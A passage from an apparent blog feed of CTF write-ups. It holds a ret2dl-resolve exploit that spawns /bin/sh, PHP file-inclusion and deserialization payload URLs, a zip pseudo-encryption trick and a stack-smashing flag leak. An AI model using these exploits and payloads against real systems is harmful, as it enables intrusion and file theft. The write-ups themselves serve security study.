class="number">0x10</span> ) &lt;&lt; <span class="number">8</span> )| <span class="number">0x7</span></span><br><span class="line">    log.info(<span class="string">&quot;fake_r_info is %x, high index is %x, and low is %x&quot;</span>%(fake_r_info, fake_r_info &gt;&gt; <span class="number">8</span>, fake_r_info &amp;<span class="number">0xff</span>))</span><br><span class="line">    <span class="comment"># finally, we could write system address at here</span></span><br><span class="line">    <span class="comment"># fake_st_addr is &quot;system&quot;, and fake_st_addr + 0x8 is &quot;/bin/sh&quot;</span></span><br><span class="line">    fake_st_addr = fake_sym_addr + <span class="number">0x10</span></span><br><span class="line">    bin_addr = fake_st_addr + <span class="number">0x8</span></span><br><span class="line">    log.info(<span class="string">&quot;bin_addr is %x&quot;</span>%bin_addr)</span><br><span class="line">    fake_st_addr = fake_st_addr - strtab_addr</span><br><span class="line"></span><br><span class="line">    <span class="comment"># junk</span></span><br><span class="line">    buf = <span class="string">&quot;&quot;</span></span><br><span class="line">    buf += <span class="string">&quot;bbbb&quot;</span></span><br><span class="line">    buf += p32(dlresolve_addr)</span><br><span class="line">    buf += p32(fake_rel_offset)</span><br><span class="line">    buf += p32(read_plt_addr)</span><br><span class="line">    buf += p32(bin_addr)</span><br><span class="line"></span><br><span class="line">    buf += (<span class="number">0x80</span> - <span class="built_in">len</span>(buf))*<span class="string">&#x27;a&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># fake_Elf32_Rel</span></span><br><span class="line">    buf += p32(read_got_addr)</span><br><span class="line">    buf += p32(fake_r_info)</span><br><span class="line">    <span class="comment"># and we put some padding</span></span><br><span class="line">    buf += (fake_sym_addr - (base + <span class="number">0x80</span> + <span class="number">8</span>))*<span class="string">&#x27;a&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># fake_Elf32_Sym</span></span><br><span class="line">    buf += p32(fake_st_addr)</span><br><span class="line">    buf += p32(<span class="number">0</span>)</span><br><span class="line">    buf += p32(<span class="number">0</span>)</span><br><span class="line">    buf += p32(<span class="number">12</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># finally, we put &quot;system&quot; and &quot;/bin/sh&quot;</span></span><br><span class="line">    buf += <span class="string">&quot;system\x00\x00&quot;</span></span><br><span class="line">    buf += <span class="string">&quot;/bin/sh\x00&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> buf, bin_addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&quot;prepare...&quot;</span>)</span><br><span class="line">    buf = call_read()</span><br><span class="line">    ph.send(buf)</span><br><span class="line">    sleep(<span class="number">0.1</span>)</span><br><span class="line">    log.info(<span class="string">&quot;waiting for bss prepare&quot;</span>)</span><br><span class="line">    buf, bin_addr = fill_fake()</span><br><span class="line">    ph.sendline(buf)</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">&quot;succes! we wait for finally&quot;</span>)</span><br><span class="line">    raw_input() </span><br><span class="line">    <span class="comment"># use ROP to move esp and jmp to rumtime_resolve</span></span><br><span class="line">    buf = <span class="string">&quot;&quot;</span></span><br><span class="line">    buf += exp_padding</span><br><span class="line"></span><br><span class="line">    buf += p32(pop_ebp)</span><br><span class="line">    buf += p32(base)</span><br><span class="line">    buf += p32(lev_addr)</span><br><span class="line">    ph.sendline(buf)</span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    pwn()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p>首先既然是写的博客，肯定是要被大家看的。。。所以每次写的时候还是要注意注意再注意。。尤其是我这种粗心的人QvQ<br>然后是每种攻击方法要深刻理解。最初看到这个方法的时候，以为是通过符号进行查找的一种攻击方法，所以想到说要利用很大的控制地址，而且需要关掉很多保护等等。后来学习过程中才明白整个攻击的逻辑，发现其实限制条件没有我想象的那么多。<br>最后是exp写的很不熟练，最近有阵子没玩ctf，也没怎么研究漏洞啥的，结果写个exp又调了一整天。。。尤其这一次还是有了很多类似的exp的帮助的情况下。。。真的很佩服各位比赛的时候居然能这么快的调试exp，菜鸡果然还是菜啊。。。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;pwn真是技巧多。。。这是一个比较麻烦的攻击技巧，特地开一个空文章来写&lt;/p&gt;
&lt;h2 id=&quot;2018年修改&quot;&gt;2018年修改&lt;/h2&gt;
&lt;p&gt;发现博客居然被好多人看了。。。回过头来看发现这个介绍的&lt;code&gt;return-to-dl-resolve&lt;/code&gt;并不是标准攻击方法QvQ，所以在文章后半段会介绍常用的ret2dl-resolve应该如何攻击。&lt;/p&gt;
&lt;h2 id=&quot;more-return-to-dl-resolve&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Ret2dl-resolve" scheme="https://showlinkroom.me/tags/Ret2dl-resolve/"/>
    
  </entry>
  
  <entry>
    <title>HBCTF01</title>
    <link href="https://showlinkroom.me/2017/04/08/HBCTF01/"/>
    <id>https://showlinkroom.me/2017/04/08/HBCTF01/</id>
    <published>2017-04-08T10:08:09.000Z</published>
    <updated>2020-07-16T13:31:30.385Z</updated>
    
    <content type="html"><![CDATA[<p>这个周末参加了一堆比赛。。。</p><h2 id="more-hbctf"><span id="more"></span><br>HBCTF</h2><p>听说是新手向的游戏，所以决定所有题目都尝试做一下看看:</p><h2 id="web-50">Web 50</h2><p>首先进去就能看到源码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">you are not admin ! </span><br><span class="line"><span class="comment">&lt;!--</span></span><br><span class="line"><span class="comment">$user = $_GET[&quot;user&quot;];</span></span><br><span class="line"><span class="comment">$file = $_GET[&quot;file&quot;];</span></span><br><span class="line"><span class="comment">$pass = $_GET[&quot;pass&quot;];</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">if(isset($user)&amp;&amp;(file_get_contents($user,&#x27;r&#x27;)===&quot;the user is admin&quot;))&#123;</span></span><br><span class="line"><span class="comment">    echo &quot;hello admin!&lt;br&gt;&quot;;</span></span><br><span class="line"><span class="comment">    include($file); //class.php</span></span><br><span class="line"><span class="comment">&#125;else&#123;</span></span><br><span class="line"><span class="comment">    echo &quot;you are not admin ! &quot;;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br><span class="line"><span class="comment"> --&gt;</span></span><br></pre></td></tr></table></figure><p>大概就是我们需要设置user，而且user还要是一个文件。于是我们这里的想法就是利用<strong>网页的data协议</strong>，也就是利用data:text协议让其解析一段文本并且作为内容:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://123.206.66.106/?user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=</span><br></pre></td></tr></table></figure><p>此时user就算是作为一个【文件】传输进去了。</p><p>然后就没思路了。。。。参考官方wp得知，此时要利用php的特殊协议:php://</p><pre><code>php:// — 访问各个输入/输出流（I/O streams）</code></pre><p>查到的传输方式为:<br>php://filter/resource=class.php<br>然而此时并不能读到字符串。。。后来查到说，都是要先base64处理一下，于是这里写成<br><a href="http://123.206.66.106/?file=php://filter/convert.base64-encode/resource=class.php&amp;user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=">http://123.206.66.106/?file=php://filter/convert.base64-encode/resource=class.php&amp;user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=</a><br>发现就能够文件数据读到了:<br><img src="/2017/04/08/HBCTF01/web01-1.png" alt=""><br>读到的内容base64解密一下得到:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Read</span></span>&#123;<span class="comment">//f1a9.php</span></span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$file</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable language_">$this</span>-&gt;file))&#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$this</span>-&gt;file);    </span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;__toString was called!&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个的意思就是说，这个php文件要设置了$file,但是我已经完全不会玩了。。。<br>查了以后知道，我们的关键就是找到f1a9.php,然后关键的是，我们需要【让一个Read对象中的file被赋值。】，__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。所以我们利用最后的参数pass，将我们自己实例化的对象先<strong>序列化处理</strong>，在顺着url传输后，在解析的时候会被解析成实例对象，从而实现file的赋值。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Read</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$file</span> = <span class="string">&#x27;./f1a9.php&#x27;</span>;</span><br><span class="line"> &#125;</span><br><span class="line"><span class="variable">$file</span> = <span class="keyword">new</span> <span class="title class_">Read</span>();</span><br><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$file</span>));</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="comment">// 得到的值为</span></span><br><span class="line">O:<span class="number">4</span>:<span class="string">&quot;Read&quot;</span>:<span class="number">1</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;file&quot;</span>;s:<span class="number">10</span>:<span class="string">&quot;./f1a9.php&quot;</span>;&#125;</span><br></pre></td></tr></table></figure><p>将其作为pass参数的时候，发现用原来的url并不能成功，后来发现是以为我们按照原来的传输方法，会进入到class.php里面，导致我们不能够进入f1ag.php文件中。最后我们把url改成:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://123.206.66.106/?file=class.php&amp;user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=&amp;pass=O:4:%22Read%22:1:&#123;s:4:%22file%22;s:10:%22./f1a9.php%22;&#125;</span><br></pre></td></tr></table></figure><p>终于过了。。。<br><img src="/2017/04/08/HBCTF01/web01-2.png" alt=""></p><h2 id="flag6-zip-misc">flag6.zip(Misc)</h2><p>这个打开发现zip里面的文件要密码:<br><img src="/2017/04/08/HBCTF01/flag01-1.png" alt=""><br>但是我们注意到CRC,CRC其实就是把整个文件进行了CRC处理然后作为文件的校验。加上文件的题目，我们知道此事的文件中的内容并不是很长，所以我们可以尝试可以尝试暴力破解得到文件中的内容。</p><h5 id="方法二">方法二</h5><p>从网上找了一份zip格式的文件结构:<br>压缩源文件数据区：</p><p>50 4B 03 04：这是头文件标记（0x04034b50）<br>14 00：解压文件所需 pkware 版本<br>00 00：全局方式位标记（有无加密）<br>08 00：压缩方式<br>5A 7E：最后修改文件时间<br>F7 46：最后修改文件日期<br>16 B5 80 14：CRC-32校验（1480B516）<br>19 00 00 00：压缩后尺寸（25）<br>17 00 00 00：未压缩尺寸（23）<br>07 00：文件名长度<br>00 00：扩展记录长度<br>6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500<br>压缩源文件目录区：<br>50 4B 01 02：目录中文件文件头标记(0x02014b50)<br>3F 00：压缩使用的 pkware 版本<br>14 00：解压文件所需 pkware 版本<br>00 00：全局方式位标记（有无加密，这个更改这里进行伪加密，改为09 00打开就会提示有密码了）<br>08 00：压缩方式<br>5A 7E：最后修改文件时间<br>F7 46：最后修改文件日期<br>16 B5 80 14：CRC-32校验（1480B516）<br>19 00 00 00：压缩后尺寸（25）<br>17 00 00 00：未压缩尺寸（23）<br>07 00：文件名长度<br>24 00：扩展字段长度<br>00 00：文件注释长度<br>00 00：磁盘开始号<br>00 00：内部文件属性<br>20 00 00 00：外部文件属性<br>00 00 00 00：局部头部偏移量<br>6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001<br>压缩源文件目录结束标志：<br>50 4B 05 06：目录结束标记<br>00 00：当前磁盘编号<br>00 00：目录区开始磁盘编号<br>01 00：本磁盘上纪录总数<br>01 00：目录区中纪录总数<br>59 00 00 00：目录区尺寸大小<br>3E 00 00 00：目录区对第一张磁盘的偏移量<br>00 00：ZIP 文件注释长度</p><p>我们用winhex打开看一下:<br><img src="/2017/04/08/HBCTF01/flag01-2.png" alt=""><br>指定位置果然有个01表示是否加密，我们尝试改成00:<br><img src="/2017/04/08/HBCTF01/flag01-3.png" alt=""><br>果然是伪加密。。。。。</p><h2 id="just-do-it-crypto">just do it(Crypto)</h2><p>一个C++的代码，结果我强行爆破做了。。。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">f</span><span class="params">(string a)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// string a;</span></span><br><span class="line"><span class="comment">// 读入字符串</span></span><br><span class="line"><span class="comment">// cin&gt;&gt;a;</span></span><br><span class="line"><span class="comment">// 第一个恒为&#x27;H&#x27;</span></span><br><span class="line">a[<span class="number">0</span>]=<span class="string">&#x27;H&#x27;</span>;</span><br><span class="line">string key=<span class="string">&quot;a7shw9o10e63nfi19dk&quot;</span>;</span><br><span class="line"><span class="comment">// 字符串 长度</span></span><br><span class="line"><span class="type">int</span> l=a.<span class="built_in">length</span>();</span><br><span class="line"><span class="type">char</span> *b = <span class="keyword">new</span> <span class="type">char</span>[l+<span class="number">1</span>];</span><br><span class="line"><span class="comment">// 第一位为&#x27;I&#x27;</span></span><br><span class="line">b[<span class="number">0</span>]=a[<span class="number">0</span>]^<span class="number">0x1</span>;</span><br><span class="line"><span class="comment">// b[i] = a[i]^b[i-1]</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">1</span>;i&lt;l;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">char</span> c=a[i]^b[i<span class="number">-1</span>];</span><br><span class="line">b[i]=c;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// b[i] = b[i]^b[i+1]^0x53 = b[i]^a[i+1]^b[i]^0x53 = a[i+1]^0x53,换句话说，H并不参与</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;l<span class="number">-1</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">char</span> c=b[i]^b[i+<span class="number">1</span>];</span><br><span class="line">c=c^<span class="number">0x53</span>;</span><br><span class="line">b[i]=c;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// a 至少18位</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">1</span>;i&lt;=<span class="number">18</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line">key[i]=key[i<span class="number">-1</span>]^key[i]^a[(i<span class="number">-1</span>)%<span class="number">7</span>]^a[(i<span class="number">-1</span>)%<span class="number">9</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// b[i] = b[i]^key[i] = a[i+1]^0x53^key[i-1]^key[i](前8个）</span></span><br><span class="line"><span class="comment">// b[8] = a[9]^0x53^key[7]^key[8]^a[0]^a[8]</span></span><br><span class="line"><span class="comment">// b[0] = b[0]^key[0] = a[1]^0x53^&#x27;a&#x27;</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">19</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line">b[i]=b[i]^key[i];</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">char</span> e[]=&#123;<span class="number">71</span>,<span class="number">100</span>,<span class="number">24</span>,<span class="number">51</span>,<span class="number">16</span>,<span class="number">97</span>,<span class="number">81</span>,<span class="number">59</span>,<span class="number">53</span>,<span class="number">94</span>,<span class="number">99</span>,<span class="number">100</span>,<span class="number">29</span>,<span class="number">116</span>,<span class="number">25</span>,<span class="number">77</span>,<span class="number">96</span>,<span class="number">27</span>,<span class="number">105</span>&#125;;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;l;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(b[i]!=e[i])</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// cout&lt;&lt;&quot;failed&quot;&lt;&lt;endl;</span></span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line"><span class="comment">// return false;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(i == <span class="number">18</span>)</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[!]%c, %c\n&quot;</span>, a[i], a[i+<span class="number">1</span>]);</span><br><span class="line"><span class="comment">//system(&quot;pause&quot;);</span></span><br><span class="line"><span class="comment">// return true;</span></span><br><span class="line">&#125;</span><br><span class="line">cout&lt;&lt;<span class="string">&quot;successful&quot;</span>&lt;&lt;endl;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;l;i+=<span class="number">2</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(a[i]&gt;=<span class="number">65</span>&amp;&amp;a[i]&lt;=<span class="number">90</span>)</span><br><span class="line">a[i]+=<span class="number">32</span>;</span><br><span class="line"><span class="keyword">if</span>(a[i+<span class="number">1</span>]&gt;=<span class="number">97</span>&amp;&amp;a[i+<span class="number">1</span>]&lt;=<span class="number">122</span>)</span><br><span class="line">a[i+<span class="number">1</span>]-=<span class="number">32</span>;</span><br><span class="line">&#125;</span><br><span class="line">cout&lt;&lt;<span class="string">&quot;flag is: hbctf&#123;&quot;</span>&lt;&lt;a&lt;&lt;<span class="string">&quot;&#125;&quot;</span>&lt;&lt;endl;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">char</span> i = <span class="string">&#x27; &#x27;</span>; i &lt; <span class="number">127</span>; i++) &#123;</span><br><span class="line"><span class="comment">//u</span></span><br><span class="line">string A = <span class="built_in">string</span>(<span class="string">&quot;Huan-y1n5-cAn5-5a1!&quot;</span>);</span><br><span class="line"><span class="built_in">f</span>(A);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后来仔细观察，发现自己的算法都看懂一半了为啥要爆破。。。。<br>解释一下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// a:输入字符串 b:空字符串 b[0] = a[0]^0x1</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">1</span>;i&lt;l;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">char</span> c=a[i]^b[i<span class="number">-1</span>];</span><br><span class="line">b[i]=c;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// b[i] = b[i]^b[i+1]^0x53 = b[i]^a[i+1]^b[i]^0x53 = a[i+1]^0x53,换句话说，H并不参与</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;l<span class="number">-1</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">char</span> c=b[i]^b[i+<span class="number">1</span>];</span><br><span class="line">c=c^<span class="number">0x53</span>;</span><br><span class="line">b[i]=c;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先我们观察上面的算法:<br>b[i] = a[i]^b[i - 1]<br>b当前的字符只于上一个字符有关系，然后加上后面的那段:<br>b[i] = b[i] ^ b[i + 1] ^ 0x53<br>这里我们b[i + 1]不和b[i]相关，所以我们可以写出递推式:<br>b[i] = b[i] ^ a[i + 1] ^ b[i] ^0x53 = a[i + 1] ^ 0x53<br>相当于b[i] 只与a[i + 1]相关<br>然后后面的算法：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// a 至少18位</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">1</span>;i&lt;=<span class="number">18</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line">key[i]=key[i<span class="number">-1</span>]^key[i]^a[(i<span class="number">-1</span>)%<span class="number">7</span>]^a[(i<span class="number">-1</span>)%<span class="number">9</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// b[0] = b[0]^key[0] = a[1]^0x53^&#x27;a&#x27;</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">19</span>;i++)</span><br><span class="line">&#123;</span><br><span class="line">b[i]=b[i]^key[i];</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">char</span> e[]=&#123;<span class="number">71</span>,<span class="number">100</span>,<span class="number">24</span>,<span class="number">51</span>,<span class="number">16</span>,<span class="number">97</span>,<span class="number">81</span>,<span class="number">59</span>,<span class="number">53</span>,<span class="number">94</span>,<span class="number">99</span>,<span class="number">100</span>,<span class="number">29</span>,<span class="number">116</span>,<span class="number">25</span>,<span class="number">77</span>,<span class="number">96</span>,<span class="number">27</span>,<span class="number">105</span>&#125;;</span><br></pre></td></tr></table></figure><p>虽然看着麻烦，但是注意到，这个key它本身就是个固定的值，在前7个数据中<strong>自己和自己异或</strong>，完全和a无关，而从第8个开始，之和前9个a相关，然而此时的a[7]以后的值早就算出来了，所以此时就完全不影响后续。。。然后我们知道通过e和b的异或，就能够把此时的a求出来.这里贴一段大佬的代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf8 -*-</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">foo</span>():</span><br><span class="line">    a=[<span class="number">0</span>]*<span class="number">19</span></span><br><span class="line">    key=<span class="string">&quot;a7shw9o10e63nfi19dk&quot;</span></span><br><span class="line">    k=[<span class="built_in">ord</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> key]</span><br><span class="line">    e=[<span class="number">71</span>,<span class="number">100</span>,<span class="number">24</span>,<span class="number">51</span>,<span class="number">16</span>,<span class="number">97</span>,<span class="number">81</span>,<span class="number">59</span>,<span class="number">53</span>,<span class="number">94</span>,<span class="number">99</span>,<span class="number">100</span>,<span class="number">29</span>,<span class="number">116</span>,<span class="number">25</span>,<span class="number">77</span>,<span class="number">96</span>,<span class="number">27</span>,<span class="number">105</span>]</span><br><span class="line">    a[<span class="number">0</span>]=<span class="built_in">ord</span>(<span class="string">&#x27;H&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(e)-<span class="number">1</span>):</span><br><span class="line">        k[i+<span class="number">1</span>]^=k[i]^a[i%<span class="number">7</span>]^a[i%<span class="number">9</span>]</span><br><span class="line">        a[i+<span class="number">1</span>]=<span class="number">0x53</span>^e[i]^k[i]</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;&#x27;</span>.join([<span class="built_in">chr</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> a])</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    foo()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;ok&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="whatiscanary-pwn-100">whatiscanary(pwn 100)</h3><p>这一题完全是自己做出来的。。找到函数的描述，发现一开始就把flag读到了一个全局变量里面:<br><img src="/2017/04/08/HBCTF01/canary00.png" alt=""><br>然后再下面的函数中找到了如图所示的漏洞:<br><img src="/2017/04/08/HBCTF01/canary02.png" alt=""><br>于是思路变为绕过cananry。<br>绕了半天都绕不过去啊。。。然后发现，当让这个___stack_chk_fail触发的时候，会产生字符串:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*** stack smashing detected ***: ./whatiscanary terminated </span><br></pre></td></tr></table></figure><p>这个函数的名字肯定是我们argv[0]里面的参数，所以这里我们不用绕过canary，而是通过覆盖我们argv的第一个参数的位置，从而将这段内容里面的./whatiscanary的字符串变量地址覆盖成flag的地址即可。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">函数名字所在的栈的地址为:</span><br><span class="line">0xbfaab8d4</span><br><span class="line"></span><br><span class="line">函数输入的地址为:</span><br><span class="line">0xbfaab7ec</span><br></pre></td></tr></table></figure><p>所以需要的字符串长度为：232个字符<br>在这之后将其覆盖成全局变量的地址即可。<br><img src="/2017/04/08/HBCTF01/canary01.png" alt=""></p><p>难得成功了一回。。。代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span 